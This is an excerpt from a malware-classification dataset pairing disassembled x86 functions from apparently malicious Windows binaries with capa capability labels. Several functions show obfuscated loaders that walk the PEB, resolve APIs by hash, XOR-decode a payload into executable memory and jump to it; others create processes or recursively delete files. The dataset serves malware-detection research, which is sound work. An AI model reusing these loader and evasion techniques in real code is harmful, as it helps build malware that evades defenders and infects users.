joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc333f98
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0xc333fae
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0xc333fbf
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.0c334000
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx

Function at 0xc33636c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0xc3362b5
add ebx, 0
push ecx
call 0xc3362ca
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x719ea2b7
sub ebx, dword [0x71a09af6]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x71a09ae6
call fcn.0c331d94
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0c3312a2
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0xc336428
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0xc336428
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0xc3363df
mov eax, 1
lock xchg dword [0x71a09af2], eax
push 0x3dd1fc71
call 0xc33636c
push esi
add esp, 8
cmp eax, 0
jne 0xc336355
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0xc33637b
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0xc336390
cmp ecx, edx
cmp eax, 0
je 0xc3363b5
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0xc33639f
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.0c3363ce
dec eax
loope 0xc3363d1
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x71a09af2], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0xc336405
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0xc33641a
jmp 0xc336425
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0xc336313
Function at 0xc33d48d
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0xc33d763
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x719f676a
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x719ed730
push 0xffffffffffffffff
call fcn.0c33468d
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0xc33d4f7
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.0c33d50f
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0xc33d757
xor eax, 0
ret 4
xor ecx, ecx
jmp 0xc33d72b
Function at 0xc34cf5d
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0xc34cf7f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0xc34cf7f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0xc34cf7f
ret
cmp word [ebx + 4], 0x14c
jne 0xc34cf7f
test word [ebx + 0x16], 2
je 0xc34cf7f
test word [ebx + 0x16], 0x100
je 0xc34cf7f
cmp word [ebx + 0x18], 0x10b
jne 0xc34cf7f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0xc34cf7f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0xc34d00b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0xc34cf9f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0c333eea
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0xc34cf7f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0xc34d00b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0xc34cf7f
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0xc34cf7f
add ebx, eax
cmp dword [ebx], 0x4550
jne 0xc34cf7f
ret
cmp word [ebx + 4], 0x14c
jne 0xc34cf7f
test word [ebx + 0x16], 2
je 0xc34cf7f
test word [ebx + 0x16], 0x100
je 0xc34cf7f
cmp word [ebx + 0x18], 0x10b
jne 0xc34cf7f
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0xc34cf7f
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0xc34d00b
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0xc34cf9f
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0c333eea
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0xc34cf7f
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0xc34d0c2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0xc34d11b
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0xc34d0c2
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0xc34d0d1
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0xc752d74
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0xc34d122
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0c333f98
cmp eax, dword [ebp + 0xc]
pop eax
je 0xc34d1c1
add edi, 4
add eax, 2
dec ecx
jne 0xc34d107
call 0xc34d16e
loope 0xc34d164
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0xc34d1be
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0xc34d1cf
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0xc34d182
cmp eax, ecx
ja 0xc34d182
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0xc34d20c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0xc34d202
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0c334477
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0xc34d0d1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0xc34d11b
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0xc34d0c2
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0xc34d0d1
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0xc752d74
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0xc34d122
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0c333f98
cmp eax, dword [ebp + 0xc]
pop eax
je 0xc34d1c1
add edi, 4
add eax, 2
dec ecx
jne 0xc34d107
call 0xc34d16e
loope 0xc34d164
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0xc34d1be
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0xc34d1cf
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0xc34d182
cmp eax, ecx
ja 0xc34d182
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0xc34d20c
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0xc34d202
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0c334477
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x10002eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10002ebf
pop dword [ebp - 0x50]
mov eax, 0xb158d6ab
sub eax, 0xa158a7ec
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xef59361d
add dword [ebp - 0x60], 0x5ef90f2e
mov dword [ebp - 0x5c], 0xc4779007
sub dword [ebp - 0x5c], 0x924443c2
mov dword [ebp - 0x58], 0x6fd3ae7e
sub dword [ebp - 0x58], 0x23876a50
mov dword [ebp - 0x54], 0xa047034c
add dword [ebp - 0x54], 0x5fb8fcb4
lea eax, [ebp - 0x60]
push eax
mov eax, 0x24b74504
add eax, 0xeb4a4b38
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8b5281b0
sub dword [ebp - 0x60], 0x16e0185a
mov dword [ebp - 0x5c], 0xe25b5be
add dword [ebp - 0x5c], 0x3346abb7
mov dword [ebp - 0x58], 0x94519c48
sub dword [ebp - 0x58], 0x30e22fdc
mov dword [ebp - 0x54], 0x71b0f1b
add dword [ebp - 0x54], 0xf8e4f0e5
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36116
push 0
call eax
mov ecx, 0x27fb3fb5
add ecx, 0xd805030c
xor edi, edi
add edi, eax
mov ebx, 0x10022800
add ebx, dword [ebp - 0x50]
mov edx, 0x7fd021eb
xor dword [ebp - 0x20], 0xb3bc894f
mov esi, dword [ebx]
xor dword [ebp - 0x38], esi
sub esi, edx
sub dword [ebp - 0x10], 0xba0689e6
mov dword [edi], esi
sub dword [ebp - 0x24], 0x79da4997
add edi, 0xc506953e
add edi, 0x3af96ac6
add ebx, 4
loop 0x10002fd2
add eax, 0x7ffa0971
add eax, 0x8006f466
mov ebx, eax
add eax, 0xb4caa30e
sub eax, 0xb4caa309
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10004377
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x10004386
pop dword [ebp - 0x38]
mov eax, 0x10004386
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0xf0deedd9
sub dword [ebp - 0x48], 0xa28ca88e
mov dword [ebp - 0x44], 0xb90508f3
add dword [ebp - 0x44], 0x792e4352
mov dword [ebp - 0x40], 0x85f5affa
add dword [ebp - 0x40], 0xc6569434
mov dword [ebp - 0x3c], 0x5481a154
add dword [ebp - 0x3c], 0xab7e5eac
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x95a0419d
add dword [ebp - 0x48], 0xded227b9
mov dword [ebp - 0x44], 0xd5c254ec
add dword [ebp - 0x44], 0x6baa0c89
mov dword [ebp - 0x40], 0x421d35ca
add dword [ebp - 0x40], 0x215236a2
mov dword [ebp - 0x3c], 0xfeddd7a3
add dword [ebp - 0x3c], 0x122285d
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xc6135f5a
add eax, 0x49ecf122
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x36c2c
push 0
call eax
mov ecx, 0xf16969cc
sub ecx, 0xf16920f3
xor ebx, ebx
add ebx, eax
mov edi, 0xbee20b4b
add edi, 0x511e9cb5
add edi, dword [ebp - 0x38]
mov edx, 0x550310d0
add edx, 0x68f5d778
add dword [ebp - 0x34], 0xf726dcc5
mov esi, dword [edi]
xor dword [ebp - 0x2c], 0xb4bc1406
xor esi, edx
mov dword [ebx], esi
sub dword [ebp - 0x24], 0x64ca47ae
add ebx, 4
add edi, 0xeeafbf59
add edi, 0x115040ab
loop 0x100044a0
add eax, 0x97ce61c6
add eax, 0x6832b471
mov ebx, eax
add eax, 0xacdd4d43
sub eax, 0xacdd4d3e
mov ecx, 0x10000000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x402f68
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor edi, edi
cmp eax, edi
jl 0x402f95
mov ecx, dword [0x42f4b8]
push edi
add eax, ecx
push edi
push eax
mov dword [0x420c74], eax
push dword [0x409024]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 4
pop esi
push esi
call fcn.00403093
cmp eax, edi
jl 0x40308c
lea eax, [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
push eax
lea eax, [ebp + 8]
push esi
push eax
push dword [0x409024]
call ebx
test eax, eax
je 0x403089
cmp dword [ebp - 4], esi
jne 0x403089
push dword [ebp + 8]
add dword [0x420c74], esi
call fcn.00403093
cmp eax, edi
mov dword [ebp - 8], eax
jl 0x40308c
cmp dword [ebp + 0x10], edi
jne 0x403058
cmp dword [ebp + 8], edi
jle 0x403084
mov esi, 0x41cc30
mov edi, 0x4000
cmp dword [ebp + 8], edi
jge 0x403008
mov edi, dword [ebp + 8]
lea eax, [ebp - 4]
push 0
push eax
push edi
push esi
push dword [0x409024]
call ebx
test eax, eax
je 0x403089
cmp edi, dword [ebp - 4]
jne 0x403089
lea eax, [ebp + 0x14]
push 0
push eax
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x403054
cmp dword [ebp + 0x14], edi
jne 0x403054
mov eax, dword [ebp - 4]
add dword [ebp - 8], eax
sub dword [ebp + 8], eax
add dword [0x420c74], eax
cmp dword [ebp + 8], 0
jg 0x402ffb
jmp 0x403084
push 0xfffffffffffffffe
jmp 0x40308b
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403063
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push edi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x409024]
call ebx
test eax, eax
je 0x403089
mov eax, dword [ebp - 4]
add dword [0x420c74], eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x40308c
push 0xfffffffffffffffd
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x403093
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov esi, dword [0x420c74]
mov edi, eax
sub esi, dword [0x40b06c]
add edi, 0x1f4
add esi, dword [esp + 0x1c]
cmp esi, ebp
jle 0x403269
push dword [0x428c84]
call fcn.004032a6
push ebp
push ebp
push dword [0x40b06c]
push dword [0x409024]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov dword [0x428c80], esi
mov dword [0x420c70], ebp
mov eax, dword [0x420c78]
mov ebx, 0x4000
sub eax, dword [0x428c84]
cmp eax, ebx
jg 0x403106
mov ebx, eax
mov esi, 0x41cc30
push ebx
push esi
call fcn.00403274
test eax, eax
je 0x403234
add dword [0x428c84], ebx
mov dword [0x40b070], esi
mov dword [0x40b074], ebx
cmp dword [0x42f468], ebp
je 0x403197
cmp dword [0x42f500], ebp
jne 0x403197
cmp dword [esp + 0x10], ebp
je 0x403164
mov eax, dword [0x428c80]
push ebp
sub eax, dword [0x420c74]
sub eax, dword [esp + 0x20]
add eax, dword [0x40b06c]
mov dword [0x420c70], eax
call fcn.00405ebb
jmp 0x403197
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
cmp eax, edi
jbe 0x403197
mov eax, dword [0x42f464]
neg eax
sbb eax, eax
not eax
and eax, str.unpacking_data:__d__
push eax
push 0x402bab
push ebp
push 0x6f
push dword [0x42f460]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov dword [esp + 0x10], eax
push 0x40b070
mov dword [0x40b078], 0x414c30
mov dword [0x40b07c], 0x8000
call 0x405f5c
test eax, eax
jl 0x40323d
mov esi, dword [0x40b078]
mov eax, 0x414c30
sub esi, eax
je 0x4031fe
lea ecx, [esp + 0x14]
push ebp
push ecx
push esi
push eax
push dword [0x409024]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x403239
cmp esi, dword [esp + 0x14]
jne 0x403239
add dword [0x40b06c], esi
cmp dword [0x40b074], ebp
jne 0x40312c
jmp 0x40320a
cmp dword [0x40b074], ebp
jne 0x40323d
cmp ebx, ebp
je 0x40323d
mov eax, dword [0x420c74]
mov ecx, eax
sub ecx, dword [0x40b06c]
add ecx, dword [esp + 0x1c]
test ecx, ecx
jg 0x4030f0
push ebp
push ebp
push eax
push dword [0x409024]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
jmp 0x403242
or eax, 0xffffffff
jmp 0x40326b
push 0xfffffffffffffffe
jmp 0x40323f
push 0xfffffffffffffffd
pop eax
jmp 0x40326b
mov esi, dword [esp + 0x10]
cmp esi, ebp
je 0x403269
mov eax, dword [0x428c80]
push ebp
push ebp
push 0x113
push esi
mov dword [0x420c70], eax
call dword [sym.imp.USER32.dll_SendMessageA]
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret 4
Function at 0x405406
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [ebp + 0xc]
mov dword [0x42c8d0], 0x44
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
je 0x40542a
test al, 0x10
jne 0x40542d
mov dword [ebp + 0xc], ecx
lea eax, [ebp - 0x10]
push eax
push 0x42c8d0
push dword [ebp + 0xc]
push ecx
push ecx
push ecx
push ecx
push ecx
push dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x405458
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x4054c0
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.0040576b
test byte [ebp + 0xc], 8
mov dword [ebp - 8], eax
je 0x4054f4
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42f4e8], eax
jmp 0x405685
push ebx
mov ebx, dword [ebp + 0xc]
and ebx, 1
mov dword [ebp - 4], ebx
je 0x405512
test eax, eax
je 0x40562a
test byte [ebp + 0xc], 2
je 0x40562a
mov esi, 0x42b8d0
push edi
push esi
call fcn.00405b7e
test ebx, ebx
je 0x40552f
push str..
push esi
call sub.KERNEL32.DLL_lstrcatA
jmp 0x405535
push edi
call fcn.004056d2
push 0x409010
push edi
call sub.KERNEL32.DLL_lstrcatA
push edi
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x148]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x405620
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.004056b6
cmp byte [eax], 0
je 0x405586
cmp byte [ebp - 0x18], 0
je 0x405586
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x40559c
mov al, byte [esi + 1]
test al, al
je 0x4055ff
cmp al, 0x2e
jne 0x40559c
cmp byte [esi + 2], 0
je 0x4055ff
push esi
push ebx
call fcn.00405b7e
mov eax, dword [ebp - 0x148]
test al, 0x10
je 0x4055c2
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4055ff
push dword [ebp + 0xc]
push edi
call fcn.004054c0
jmp 0x4055ff
and al, 0xfe
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x4055f7
test byte [ebp + 0xc], 4
je 0x4055ef
push edi
push 0xfffffffffffffff1
call fcn.00404f21
push 0
push edi
call fcn.004058c6
jmp 0x4055ff
inc dword [0x42f4e8]
jmp 0x4055ff
push edi
push 0xfffffffffffffff2
call fcn.00404f21
lea eax, [ebp - 0x148]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x405564
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
cmp dword [ebp - 4], 0
je 0x40562a
and byte [ebx - 1], 0
xor esi, esi
pop ebx
cmp dword [ebp - 4], esi
je 0x405685
cmp dword [ebp - 8], esi
jne 0x40563f
inc dword [0x42f4e8]
jmp 0x405685
push edi
call 0x405e53
test eax, eax
je 0x405685
push edi
call fcn.0040568b
push 0x80
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push edi
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
jne 0x40567d
test byte [ebp + 0xc], 4
je 0x405637
push edi
push 0xfffffffffffffff1
call fcn.00404f21
push esi
push edi
call fcn.004058c6
jmp 0x405685
push edi
push 0xffffffffffffffe5
call fcn.00404f21
pop edi
pop esi
leave
ret 8
Function at 0x40576b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42bcd0
push esi
call fcn.00405b7e
push esi
call fcn.0040571e
mov edi, eax
test edi, edi
jne 0x40578c
xor eax, eax
jmp 0x4057de
push edi
call 0x405dba
test byte [0x42f470], 0x80
je 0x4057a5
mov al, byte [edi]
test al, al
je 0x405788
cmp al, 0x5c
je 0x405788
sub edi, esi
jmp 0x4057bd
call 0x405e53
test eax, eax
je 0x4057b7
test byte [eax], 0x10
je 0x405788
push esi
call fcn.004056d2
push esi
call sub.KERNEL32.DLL_lstrlenA
cmp eax, edi
push esi
jg 0x4057a9
call fcn.0040568b
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x40584f
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
ret 0xc

Function at 0x40587e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
test eax, eax
jne 0x4058c2
test edi, edi
jne 0x405889
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x4058bc